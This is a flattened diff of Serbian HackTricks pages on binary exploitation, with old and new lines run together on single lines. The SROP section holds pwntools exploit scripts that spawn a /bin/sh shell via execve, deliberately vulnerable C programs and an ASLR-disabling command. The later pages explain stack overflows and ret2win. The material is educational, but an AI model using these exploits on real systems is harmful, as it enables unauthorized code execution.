<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Pwntools primer ## Pwntools primer
Ovaj primer kreira ranjivu binarnu datoteku i eksploatiše je. Binarna datoteka **čita na stek** a zatim poziva **`sigreturn`**: Ovaj primer kreira ranjivi binarni fajl i koristi ga. Binarni fajl **čita u stek** i zatim poziva **`sigreturn`**:
```python ```python
from pwn import * from pwn import *
@ -44,9 +45,9 @@ p = process(binary.path)
p.send(bytes(frame)) p.send(bytes(frame))
p.interactive() p.interactive()
``` ```
## Primer preplavljivanja bafera ## bof пример
### Kod ### Код
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -79,14 +80,14 @@ do_stuff(2);
return 0; return 0;
} }
``` ```
Kompajlirajte ga sa: Sastavite to sa:
```bash ```bash
clang -o srop srop.c -fno-stack-protector clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Eksploatacija ## Exploit
Eksploatacija zloupotrebljava bof da bi se vratila na poziv **`sigreturn`** i pripremila stek za poziv **`execve`** sa pokazivačem na `/bin/sh`. Eksploit koristi bof da se vrati na poziv **`sigreturn`** i pripremi stek za poziv **`execve`** sa pokazivačem na `/bin/sh`.
```python ```python
from pwn import * from pwn import *
@ -115,9 +116,9 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## Primer prelivanja bafera bez sigreturn-a ## bof пример без sigreturn
### Kod ### Код
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -142,13 +143,13 @@ char* b = gen_stack();
return 0; return 0;
} }
``` ```
## Eksploatacija ## Exploit
U odeljku **`vdso`** moguće je pronaći poziv **`sigreturn`** na offsetu **`0x7b0`**: U sekciji **`vdso`** moguće je pronaći poziv na **`sigreturn`** na offsetu **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
Stoga, ako procuri, moguće je **koristiti ovu adresu za pristup `sigreturn`-u** ako se binarni fajl ne učitava: Dakle, ako je otkriven, moguće je **koristiti ovu adresu za pristup `sigreturn`** ako binarni fajl je ne učitava:
```python ```python
from pwn import * from pwn import *
@ -183,8 +184,23 @@ Za više informacija o vdso proverite:
[ret2vdso.md](../ret2vdso.md) [ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %} {% endcontent-ref %}
I da biste zaobišli adresu `/bin/sh`, možete kreirati nekoliko env promenljivih koje pokazuju na nju, za više informacija: A da biste zaobišli adresu `/bin/sh`, možete kreirati nekoliko env varijabli koje upućuju na nju, za više informacija:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %} {% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/) [aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Prekoračenje steka # Stack Overflow
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Šta je prekoračenje steka ## Šta je Stack Overflow
**Prekoračenje steka** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je alociran da drži. Ovi višak podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica unosa. **Stack overflow** je ranjivost koja se javlja kada program upisuje više podataka na stek nego što je dodeljeno da drži. Ovi viškovi podataka će **prepisati susedni memorijski prostor**, što dovodi do korupcije validnih podataka, prekida kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica na ulazu.
Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani bazni pokazivač (EBP/RBP)** za povratak na prethodnu funkciju **sačuvani na steku**. Stoga, napadač će moći da prepisuje te vrednosti i **kontroliše izvršavanje programa**. Glavni problem ovog prepisivanja je što su **sačuvani pokazivač instrukcija (EIP/RIP)** i **sačuvani osnovni pokazivač (EBP/RBP)** za vraćanje na prethodnu funkciju **smešteni na steku**. Stoga, napadač će moći da prepiše te pokazivače i **kontroliše tok izvršavanja programa**.
Ranjivost obično nastaje jer funkcija **kopira unutar steka više bajtova nego što je alocirano za nju**, te može prepisati druge delove steka. Ranjivost obično nastaje jer funkcija **kopira više bajtova unutar steka nego što je dodeljeno za nju**, čime može prepisati druge delove steka.
Neke uobičajene funkcije koje su ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu biti korišćene na ranjiv način ako je navedena dužina veća od alocirane. Neke uobičajene funkcije ranjive na ovo su: **`strcpy`, `strcat`, `sprintf`, `gets`**... Takođe, funkcije poput **`fgets`**, **`read` & `memcpy`** koje uzimaju **argument dužine**, mogu se koristiti na ranjiv način ako je navedena dužina veća od dodeljene.
Na primer, sledeće funkcije bi mogle biti ranjive: Na primer, sledeće funkcije bi mogle biti ranjive:
```c ```c
@ -33,13 +34,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer); printf("You entered: %s\n", buffer);
} }
``` ```
### Pronalaženje ofseta preplavljivanja steka ### Pronalaženje offseta za Stack Overflow
Najčešći način pronalaženja preplavljivanja steka je unošenje vrlo velikog unosa `A` (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **pokušano pristupanje adresi `0x41414141`**. Najčešći način za pronalaženje stack overflow-a je davanje veoma velikog unosa `A`s (npr. `python3 -c 'print("A"*1000)'`) i očekivanje `Segmentation Fault` koji ukazuje da je **adresu `0x41414141` pokušano pristupiti**.
Osim toga, kada otkrijete da postoji ranjivost preplavljivanja steka, moraćete pronaći ofset dok je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijnov niz**. Za dati alfabet veličine _k_ i podnizove dužine _n_, to je **ciklični niz u kojem se svaki mogući podniz dužine _n_** pojavljuje tačno jednom\*\* kao kontinuirani podniz. Štaviše, kada otkrijete da postoji ranjivost na Stack Overflow, biće potrebno pronaći offset do trenutka kada je moguće **prepisati adresu povratka**, za to se obično koristi **De Bruijn sekvenca.** Koja za dati alfabet veličine _k_ i podsekvence dužine _n_ predstavlja **cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine \_n**\_\*\* pojavljuje tačno jednom\*\* kao kontigenta podsekvenca.
Na ovaj način, umesto da ručno određujete koji ofset je potreban da biste kontrolisali EIP, moguće je koristiti jedan od ovih nizova kao punjenje, a zatim pronaći ofset bajtova koji su završili prepisivanjem. Na ovaj način, umesto da ručno otkrivate koji offset je potreban za kontrolu EIP-a, moguće je koristiti kao punjenje jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisivanje.
Moguće je koristiti **pwntools** za ovo: Moguće je koristiti **pwntools** za ovo:
```python ```python
@ -53,31 +54,31 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}") print(f"The offset is: {offset}")
``` ```
ili **GEF**: или **GEF**:
```bash ```bash
#Patterns #Patterns
pattern create 200 #Generate length 200 pattern pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp pattern search $rsp #Search the offset given the content of $rsp
``` ```
## Iskorišćavanje preplavljenosti steka ## Iskorišćavanje Stack Overflows
Tokom preplavljenosti (pretpostavljajući da je veličina preplavljenosti dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka sve do dostizanja sačuvanog **EBP/RBP i EIP/RIP (ili čak više)**.\ Tokom overflow-a (pretpostavljajući da je veličina overflow-a dovoljno velika) moći ćete da **prepišete** vrednosti lokalnih promenljivih unutar steka dok ne dođete do sačuvanih **EBP/RBP i EIP/RIP (ili čak više)**.\
Najčešći način zloupotrebe ovog tipa ranjivosti je **modifikovanje adrese povratka** tako da kada funkcija završi, **tok kontrole će biti preusmeren gde god je korisnik odredio** u ovom pokazivaču. Najčešći način zloupotrebe ove vrste ranjivosti je **modifikacija adrese povratka** tako da kada funkcija završi, **kontrolni tok će biti preusmeren gde god korisnik odredi** u ovoj pokazivaču.
Međutim, u drugim scenarijima možda je dovoljno samo **prepisati vrednosti nekih promenljivih u steku** za eksploataciju (kao u jednostavnim CTF izazovima). Međutim, u drugim scenarijima možda će samo **prepisivanje nekih vrednosti promenljivih u steku** biti dovoljno za eksploataciju (kao u lakim CTF izazovima).
### Ret2win ### Ret2win
U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo trebate pronaći **pomeraj za prepisivanje adrese povratka** i **pronaći adresu funkcije** koju treba pozvati (obično je [**ASLR**](../common-binary-protections-and-bypasses/aslr/) onemogućen) tako da kada ranjiva funkcija završi, skrivena funkcija će biti pozvana: U ovom tipu CTF izazova, postoji **funkcija** **unutar** binarnog fajla koja se **nikada ne poziva** i koju **morate pozvati da biste pobedili**. Za ove izazove samo treba da pronađete **offset za prepisivanje adrese povratka** i **pronađete adresu funkcije** koju treba pozvati (obično bi [**ASLR**](../common-binary-protections-and-bypasses/aslr/) bio onemogućen) tako da kada se ranjiva funkcija vrati, skrivena funkcija će biti pozvana:
{% content-ref url="ret2win/" %} {% content-ref url="ret2win/" %}
[ret2win](ret2win/) [ret2win](ret2win/)
{% endcontent-ref %} {% endcontent-ref %}
### Shellkod u steku ### Stack Shellcode
U ovom scenariju napadač može postaviti shellkod u stek i zloupotrebiti kontrolisani EIP/RIP da bi skočio na shellkod i izvršio proizvoljni kod: U ovom scenariju napadač može postaviti shellcode u stek i zloupotrebiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:
{% content-ref url="stack-shellcode/" %} {% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/) [stack-shellcode](stack-shellcode/)
@ -85,24 +86,39 @@ U ovom scenariju napadač može postaviti shellkod u stek i zloupotrebiti kontro
### ROP & Ret2... tehnike ### ROP & Ret2... tehnike
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **Neizvršivi stek (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu: Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite prethodne tehnike: **No executable stack (NX)**. I omogućava izvođenje nekoliko drugih tehnika (ret2lib, ret2syscall...) koje će završiti izvršavanjem proizvoljnih komandi zloupotrebom postojećih instrukcija u binarnom fajlu:
{% content-ref url="../rop-return-oriented-programing/" %} {% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/) [rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %} {% endcontent-ref %}
## Preplavljenosti hipa ## Heap Overflows
Preplavljenost ne mora uvek biti u steku, može biti i u **hipu** na primer: Overflow se ne mora uvek dešavati u steku, može se takođe desiti u **heap-u** na primer:
{% content-ref url="../libc-heap/heap-overflow.md" %} {% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md) [heap-overflow.md](../libc-heap/heap-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
## Vrste zaštita ## Tipovi zaštita
Postoje različite zaštite koje pokušavaju da spreče eksploataciju ranjivosti, proverite ih u: Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, proverite ih u:
{% content-ref url="../common-binary-protections-and-bypasses/" %} {% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Preusmeravanje pokazivača # Preusmeravanje pokazivača
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Pokazivači na stringove ## Pokazivači stringova
Ako poziv funkcije koristi adresu stringa koji se nalazi na steku, moguće je zloupotrebiti prekoračenje bafera da bi se **prepisala ova adresa** i stavila **adresa drugog stringa** unutar binarnog fajla. Ako poziv funkcije koristi adresu stringa koji se nalazi na steku, moguće je zloupotrebiti prelivanje bafera da **prepišete ovu adresu** i stavite **adresu drugog stringa** unutar binarnog fajla.
Na primer, ako poziv funkcije **`system`** koristi adresu stringa da izvrši komandu, napadač može staviti **adresu drugog stringa na stek**, **`export PATH=.:$PATH`** i kreirati u trenutnom direktorijumu **skriptu sa imenom prvog slova novog stringa** jer će je izvršiti binarni fajl. Na primer, ako poziv funkcije **`system`** treba da **koristi adresu stringa za izvršavanje komande**, napadač može postaviti **adresu drugog stringa na steku**, **`export PATH=.:$PATH`** i kreirati u trenutnom direktorijumu **skriptu sa imenom prvog slova novog stringa** jer će ovo biti izvršeno od strane binarnog fajla.
Možete pronaći **primer** ovoga na: Možete pronaći **primer** ovoga na:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32-bit, promenite adresu stringa u steku tako da je ispisana pomoću `puts` * 32bit, promenite adresu na string sa zastavicama na steku tako da se odštampa pomoću `puts`
## Pokazivači na funkcije ## Pokazivači funkcija
Isto kao i pokazivači na stringove, ali primenjeno na funkcije, ako **stek sadrži adresu funkcije** koja će biti pozvana, moguće je **promeniti je** (npr. pozvati **`system`**). Isto kao i pokazivač stringa, ali se primenjuje na funkcije, ako **stek sadrži adresu funkcije** koja će biti pozvana, moguće je **promeniti je** (npr. da pozove **`system`**).
Primer možete pronaći na: Možete pronaći primer na:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
@ -38,16 +39,17 @@ Primer možete pronaći na:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Ret2win # Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Osnovne Informacije ## Basic Information
**Ret2win** izazovi su popularna kategorija u takmičenjima **Capture The Flag (CTF)**, posebno u zadacima koji uključuju **binarno eksploatisanje**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neizvršena funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavu ili poruku o uspehu. Izazov obično uključuje prepisivanje **adrese povratka** na steku kako bi se preusmerio tok izvršavanja ka željenoj funkciji. Evo detaljnijeg objašnjenja sa primerima: **Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, neinvokovana funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
### Primer u C-u ### C Example
Razmotrimo jednostavan C program sa ranjivošću i `win` funkcijom koju nameravamo pozvati: Razmotrite jednostavan C program sa ranjivošću i `win` funkcijom koju nameravamo da pozovemo:
```c ```c
#include <stdio.h> #include <stdio.h>
